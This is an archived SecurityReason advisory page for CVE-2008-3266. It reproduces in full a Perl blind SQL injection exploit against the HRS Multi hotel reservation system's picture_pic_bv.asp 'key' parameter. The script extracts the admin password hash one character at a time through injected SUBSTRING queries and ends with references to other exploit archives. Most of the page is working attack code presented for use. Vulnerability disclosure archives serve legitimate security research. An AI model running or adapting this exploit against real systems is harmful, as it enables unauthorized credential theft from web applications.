SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit


Arrow  SecurityAlert : 4028
Arrow  CVE : CVE-2008-3266
Arrow  CWE : CWE-89
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4363
Arrow  Credit : Mr.SQL
Arrow  Published : 25.07.2008

Arrow  Affected Software : Softacid, Hotel_reservation_system_multi



Arrow  Advisory Content :  

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print "
\n";
print " #################### Viva IslaMe Viva IslaMe
################\n";
print " # HRS Multi Blind SQL Injection Exploit
#\n";
print " # (picture_pic_bv.asp key )
#\n";
print " # Author: Mr.SQL
#\n";
print " # EMAIL : SQL@HOTMAIL.IT
#\n";
print " #
#\n";
print " # -((:: GrE3E3E3E3E3ETZ ::))-
#\n";
print " #
#\n";
print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab
#\n";
print " # :: ALwHeD :: milw0rm ::
#\n";
print " #
#\n";
print " # <<>> MuSliMs HaCkErS <<>>
#\n";
print " #
#\n";
print " # PRODUCT SITE: http://www.softacid.net/ #\n";
print " #
#\n";
print " # HOME: WwW.PaL-HaCkEr.CoM
#\n";
print " #
#\n";
print " # Usage : perl test.pl host
#\n";
print " # Example: perl test.pl www.host.com / -d 10
#\n";
print " # Options:
#\n";
print " # -d valid key value
#\n";
print "
#############################################################\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = 1;
my $key = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
$userid = $options{"u"};
}
if($options{"d"})
{
$key = $options{"d"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $path, $userid, $key, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $path, $userid, $key, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
print "\n[~] Exploiting done\n";
sub istrue2
{
my $host = shift;
my $key = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host."picture_pic_bv.asp?key=".$key." and
(SUBSTRING((SELECT password FROM login LIMIT
0,1),".$i.",1))=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "tourterms.pdf";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}



Arrow  References :

http://securityreason.com/expldownload/1/4363/1 (Exploit)
http://www.securityfocus.com/bid/30316
http://www.milw0rm.com/exploits/6105
http://secunia.com/advisories/31170




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.